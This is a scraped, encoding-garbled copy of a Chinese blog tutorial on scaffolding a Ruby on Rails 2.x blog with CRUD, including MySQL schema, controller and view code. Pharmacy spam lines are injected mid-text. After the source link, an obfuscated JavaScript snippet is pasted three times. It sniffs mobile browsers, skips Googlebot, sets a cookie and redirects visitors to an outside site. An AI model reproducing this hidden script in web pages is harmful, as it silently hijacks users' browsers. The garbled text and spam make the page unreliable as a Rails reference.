Ruby on Rails a??ai???ai???ei??i??(1) – a?i??ei??Yai???ci??i??Blog (CRUD)

0

ai??i??ai??i??ai??? RoR csi??a?i??ei????i??i??ei??????ei??i??ci???a??a?i??, a??ai???a??a?i??csi???SSei??i??azi??ai???ci??i??ai???a?i??.

a?i????? Rails csi???i???ci???ei??Sai??i??e??e?za??ai??i??, a?i??ai??? 10a?i??e??ai???ci??i?? Blog csi??a?i??ci??i?? ai??? ci??i??ai???a?i??e??a?Scsi???i???e????? Rails 1.x ci???, c??a??e?????a??ci??? 2.x ci???, ci??i??ei??i???i???a?Sa?scsi??ei??i??, ?????i??a?i??ai??i??e??e?i??(c?i??a??e??a?????ai??i??), ?i??????a?i??a?i??a??c?i??c?i??e?i???i???c??csi??e?Zc?i??.

a?i??ei??Yai???ci??i?? Blog ?i???ei??Y

  1. ai???ci??i?? Database blog
  2. ai???ci??i?? Table posts (a?i??ei???ei???ci???ei??i???i???)
  3. ai???ci??i?? Rails project
  4. a??ci??? scaffold a?i??ei??Yci???ci??Y CRUD
  5. a?i???i??? routes ai??i??ei??i??ei?????i??a?i?? posts/index

ai???ci??i?? Database / Table

ci??i??c?i??e???i??i??ei???ei???ci??? db:migrate, ei??Sa?i??ei??S?SS Table ?i??i??a??ci??i??ai???ci??i??ai???a?i??, a??e?Zai??i??ei??i??ai??i??ei??i?????ai???ci??i??ai???ci??i???i?????i??a?i??a?s??i??e??ai?????i???i??i??.

CREATE DATABASE blog;
use blog;
CREATE TABLE `posts` (
Ai??Ai?? `id` int(11) NOT NULL auto_increment,
Ai??Ai?? `title` varchar(200),
Ai??Ai?? `content` text,
Ai??Ai?? `created_at` datetime default NULL,
Ai??Ai?? `updated_at` datetime default NULL,
Ai??Ai?? PRIMARY KEYAi?? (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

e?i??:

  • id ???a?i??ei???csi??(Rails ei???ai??s Table e??e?i??ei???ai???ci??i???i??i???i??i??a??)
  • created_at: Rails ???ei???ai??i??a?i???i??i???i??i??a??a?i??ai???ai???ci??i???i?????Y
  • created_at: Rails ???ei???ai??i??a?i???i??i???i??i??a??a?i??ai???a?i???i????i?????Y

ai???ci??i?? Rails Project

a?i??e?i?????ei???ai???ci??i???i??? /var/www/blog, ?i???ei??Yai??i??a?i??:

  1. cd /var/www
  2. rails blog # ei??i?????ai???ai??i??????i??? /var/www/blog ci???ci??Y rails ?i??i??e?i????i?????/ci????i??i??
  3. rm public/index.html # a??ei??i??ei???e?i??ei??i??ei???, a??a???Zi??ai??i??a?????ai??i??ai???c?i??a??
  4. vim config/database.yml

    ai??i?? database: blog_development a?i???i?????? database: blog

a??ci??? scaffold a?i??ei??Yci???ci??Y CRUD

a??ci??? scaffold a?i??ei??Yci???ci??Y CRUD c?i??a??, ?i???ei??Yai??i??a?i??:

  1. cd /var/www/blog
  2. script/generate scaffold post id:integer title:string content:text created_at:datetime # ?SSei???e?????ei???ci??i??/a?i???i???csi??e?i??e?Se??a?i??ai???a?i??, Table a??c?i???i????i??i??ei??i?????ci???ai??i???i??? (ei???ai???e????i??ai??? DB a?Ya??ai???ei??i??ei??i???i???ei??Y, ?Y?c?i??a?i???i??? db/migrate/001_create_posts.rb, ai??? rake db:migrate a?Y???ai???ci??i?? DB.)

scaffold ???ai???ci??i??a?i??e?i????i?????/e?i???i??i??:

Controller
  • app/controllers/posts_controller.rb
Model
  • app/models/post.rb
View
  • app/views/posts # ci??i??e?i??
  • app/views/posts/index.html.erb
  • app/views/posts/show.html.erb
  • app/views/posts/new.html.erb
  • app/views/posts/edit.html.erb
  • app/views/layouts/posts.html.erb
View Style

how to use viagra effectively.

  • public/stylesheets/scaffold.css
Helper
  • app/helpers/posts_helper.rb
Test

500 mg viagra.

  • test/unit/post_test.rb
  • test/fixtures/posts.yml
  • test/functional/posts_controller_test.rb
Database migrate
  • db/migrate/001_create_posts.rb

celebrex no rx, order clomid.

config/routes.rb
  • map.resources :posts # ??i?????a?S?i??????aSi??ai????i??i??e??

viagra online kaufen paypal.

a?i???i??? routes ai??i??ei??i??ei?????i??a?i?? posts/index
  • vim config/routes.rb # aSi??ai???a?i??e?i??ai??i??ai???

    map.root :controller => “posts”

a?i???i??i??ai??i??a??ai????i??? http://DOMAIN_NAME/ ??i?? http://DOMAIN_NAME/posts/ aYi??e?? ?i??i??a?z/a??ei??i??/a?i???i???/?Y?ei???(CRUD) csi??ai??i??a??, ci?????i??csi?? Blog ai??i??ci??i??ai??????ai??i??~


?Y?c?i????i??ai???a?i?? routes ei???ai??i??

  1. cd /var/www/blog
  2. rake routes # ???a?i??ai???c??a??csi?? routes csi??ei???ai??i????i??ai???a?i??

Scaffold ci???ci??Ycsi??c?i??a??ai??i??ai???

a???i??i??ai??i?? Controller / Model / View scaffold csi????i?????ai??i??ai???ai???a?i??ai???a?i??. (a??a??ai????i??i??, a?????e?i??ei???a??ei??? scaffold ?i??Ze??a?i??csi??, a?i??ai???a?i??a??ei???a?Y??i??e??ai?????i???i??i??)

Controller
  • app/controllers/posts_controller.rb
class PostsController < ApplicationController
Ai?? # GET /posts
Ai?? # GET /posts.xml
Ai?? def index
Ai??Ai??Ai?? @posts = Post.find(:all)

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? format.html # index.html.erb
Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @posts }
Ai??Ai??Ai?? end
Ai?? end

Ai?? # GET /posts/1
Ai?? # GET /posts/1.xml
Ai?? def show
Ai??Ai??Ai?? @post = Post.find(params[:id])

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? format.html # show.html.erb
Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @post }
Ai??Ai??Ai?? end
Ai?? end

Ai?? # GET /posts/new
Ai?? # GET /posts/new.xml
Ai?? def new
Ai??Ai??Ai?? @post = Post.new

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? format.html # new.html.erb
Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @post }
Ai??Ai??Ai?? end
Ai?? end

Ai?? # GET /posts/1/edit
Ai?? def edit
Ai??Ai??Ai?? @post = Post.find(params[:id])
Ai?? end

Ai?? # POST /posts
Ai?? # POST /posts.xml
Ai?? def create
Ai??Ai??Ai?? @post = Post.new(params[:post])

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? if @post.save
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? flash[:notice] = 'Post was successfully created.'
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.html { redirect_to(@post) }
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @post, :status => :created, :location => @post }
Ai??Ai??Ai??Ai??Ai?? else
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.html { render :action => "new" }
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @post.errors, :status => :unprocessable_entity }
Ai??Ai??Ai??Ai??Ai?? end
Ai??Ai??Ai?? end
Ai?? end

Ai?? # PUT /posts/1
Ai?? # PUT /posts/1.xml
Ai?? def update
Ai??Ai??Ai?? @post = Post.find(params[:id])

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? if @post.update_attributes(params[:post])
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? flash[:notice] = 'Post was successfully updated.'
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.html { redirect_to(@post) }
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { head :ok }
Ai??Ai??Ai??Ai??Ai?? else
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.html { render :action => "edit" }
Ai??Ai??Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { render :xml => @post.errors, :status => :unprocessable_entity }
Ai??Ai??Ai??Ai??Ai?? end
Ai??Ai??Ai?? end
Ai?? end

Ai?? # DELETE /posts/1
Ai?? # DELETE /posts/1.xml
Ai?? def destroy
Ai??Ai??Ai?? @post = Post.find(params[:id])
Ai??Ai??Ai?? @post.destroy

Ai??Ai??Ai?? respond_to do |format|
Ai??Ai??Ai??Ai??Ai?? format.html { redirect_to(posts_url) }
Ai??Ai??Ai??Ai??Ai?? format.xmlAi?? { head :ok }
Ai??Ai??Ai?? end
Ai?? end
end

Model
  • app/models/post.rb

class Post < ActiveRecord::Base
end

View
  • app/views/posts/index.html.erb # ai???e??a?i??e??
    <h1>Listing posts</h1>

    <table>
    Ai?? <tr>
    Ai??Ai??Ai?? <th>Id</th>
    Ai??Ai??Ai?? <th>Title</th>
    Ai??Ai??Ai?? <th>Content</th>
    Ai??Ai??Ai?? <th>Created at</th>
    Ai?? </tr>

    <% for post in @posts %>
    Ai?? <tr>
    Ai??Ai??Ai?? <td><%=h post.id %></td>
    Ai??Ai??Ai?? <td><%=h post.title %></td>
    Ai??Ai??Ai?? <td><%=h post.content %></td>
    Ai??Ai??Ai?? <td><%=h post.created_at %></td>
    Ai??Ai??Ai?? <td><%= link_to 'Show', post %></td>
    Ai??Ai??Ai?? <td><%= link_to 'Edit', edit_post_path(post) %></td>
    Ai??Ai??Ai?? <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
    Ai?? </tr>
    <% end %>
    </table>

    <br />

    <%= link_to 'New post', new_post_path %>

  • app/views/posts/show.html.erb # ?Y?ei????Y?ci??i??e?i???i??i??
    <p>
    Ai?? <b>Id:</b>
    Ai?? <%=h @post.id %>
    </p>

    <p>
    Ai?? <b>Title:</b>
    Ai?? <%=h @post.title %>
    </p>

    <p>
    Ai?? <b>Content:</b>
    Ai?? <%=h @post.content %>
    </p>

    <p>
    Ai?? <b>Created at:</b>
    Ai?? <%=h @post.created_at %>
    </p>

    <%= link_to 'Edit', edit_post_path(@post) %> |
    <%= link_to 'Back', posts_path %>

    nolvadex without prescription, acquire dapoxetine.

  • app/views/posts/new.html.erb # ?i??i??a?z
    <h1>New post</h1>

    <%= error_messages_for :post %>

    <% form_for(@post) do |f| %>
    Ai?? <p>
    Ai??Ai??Ai?? <b>Id</b><br />
    Ai??Ai??Ai?? <%= f.text_field :id %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Title</b><br />
    Ai??Ai??Ai?? <%= f.text_field :title %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Content</b><br />
    Ai??Ai??Ai?? <%= f.text_area :content %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Created at</b><br />
    Ai??Ai??Ai?? <%= f.datetime_select :created_at %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <%= f.submit "Create" %>
    Ai?? </p>
    <% end %>

    <%= link_to 'Back', posts_path %>

  • app/views/posts/edit.html.erb # ci???e??
    <h1>Editing post</h1>

    <%= error_messages_for :post %>

    <% form_for(@post) do |f| %>
    Ai?? <p>
    Ai??Ai??Ai?? <b>Id</b><br />
    Ai??Ai??Ai?? <%= f.text_field :id %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Title</b><br />
    Ai??Ai??Ai?? <%= f.text_field :title %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Content</b><br />
    Ai??Ai??Ai?? <%= f.text_area :content %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <b>Created at</b><br />
    Ai??Ai??Ai?? <%= f.datetime_select :created_at %>
    Ai?? </p>

    Ai?? <p>
    Ai??Ai??Ai?? <%= f.submit "Update" %>
    Ai?? </p>
    <% end %>

    <%= link_to 'Show', @post %> |
    <%= link_to 'Back', posts_path %>

  • app/views/layouts/posts.html.erb # posts html layout csi?? template ??i??.
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    Ai??Ai??Ai??Ai??Ai??Ai?? "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    Ai?? <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
    Ai?? <title>Posts: <%= controller.action_name %></title>
    Ai?? <%= stylesheet_link_tag 'scaffold' %>
    </head>
    <body>

    <p style="color: green"><%= flash[:notice] %></p>

    <%= yieldAi?? %>

    </body>
    </html>

ci???ei???ei???ci???: http://plog.longwin.com.tw/programming/2008/11/05/ror-learn-1-blog-crud-2008 var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Leave A Reply

Your email address will not be published.